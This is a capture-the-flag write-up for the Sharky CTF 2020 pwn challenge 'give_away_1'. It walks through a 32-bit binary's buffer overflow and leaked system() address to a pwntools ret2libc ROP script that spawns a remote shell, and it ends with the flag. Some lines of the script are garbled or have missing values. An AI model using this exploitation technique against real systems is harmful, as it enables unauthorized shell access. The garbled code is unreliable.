Sharky CTF 2020: give_away_1 (Pwn)

Make good use of this gracious give away.

Creator: Hackhim


As with most pwn challenges, let’s start off by checking what kind of binary we’re given.

[email protected]:/vagrant/challenges/sharky/give_away_one$ file give_away_1

give_away_1: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=2b72e93281e97df94bf8362d5cf5a29f55accb8a, not stripped

Okay, it’s just a 32 bit ELF binary. Let’s run it to get a better idea of what it does.

[email protected]:/vagrant/challenges/sharky/give_away_one$ ./give_away_1
Give away: 0xf7dbad10

Seems like it just prints a hex value and gets some input from us. Great. Now let’s see how well it handles a large input.

[email protected]:/vagrant/challenges/sharky/give_away_one$ python -c 'print "A"*1024' | ./give_away_1
Give away: 0xf7e18d10
Segmentation fault (core dumped)

Oh a segmentation fault, looks like we potentially have a buffer overflow vulnerability here. Let’s open up the binary in IDA and see what further insights we can gather. Currently, we still don’t know what that hex value is.

mov     eax, ds:(system_ptr - 1FBCh)[ebx]
push    eax
lea     eax, (aGiveAwayP - 1FBCh)[ebx] ; "Give away: %p\n"
push    eax             ; format
call    _printf ; printf("Give away: %p\n", system_ptr);

Oh wow is the hex value given to us actually a reference to system?

.got:00001FDC system_ptr      dd offset system ; DATA XREF: main+22↑r

Awesome, looks like we can combine this with the buffer overflow vulnerability and call system("/bin/sh") to get a shell. Where are we going to get the /bin/sh string from? We still haven’t made use of the right?

[email protected]:/vagrant/challenges/sharky/give_away_one$ grep -obUaP "/bin/sh\x00"

Bingo! So all we have to do is to calculate the address to /bin/sh and use that as a parameter for our call to system.

Consolidating all the information we have so far, we can conclude that the payload should probably look something like this:

<padding of ? bytes><address(system)><padding of 4 bytes><address("/bin/sh\x00")>

The only information we’re lacking is the length of the padding. We can easily do this with the cyclic utility included with pwndbg.

TL;DR: Padding is 36

Okay, great. Now all we need to do is to write a script to solve this.

#! /usr/bin/python2

from pwn import *

HOST = ''
PORT = 20334
BINARY = './give_away_1'

elf = context.binary = ELF(BINARY)
libc = ELF('')

# Start connection

r = remote(HOST, PORT)

# Stage 1: Get [email protected]

libc_system = int(r.recvline().split()[2][2:], 16)'Leaked libc_system: 0x{:x}'.format(libc_system))

# Stage 2: Build ROP Chain

libc.address = libc_system - libc.symbols.system'Calculated libc base address : 0x{:x}'.format(libc.address))

binsh ="/bin/sh\x00").next()'binsh: 0x{:x}'.format(binsh))

rop = ROP([libc, elf])

log.success('Generated ROP Chain')

# Stage 3: Pwn

r.sendline(fit({ 36: rop.chain() }))

log.success('Sent payload')
log.progress('Spawning a shell...')


Let’s see it in action!

Flag: shkCTF{I_h0PE_U_Fl4g3d_tHat_1n_L3ss_Th4n_4_m1nuT3s}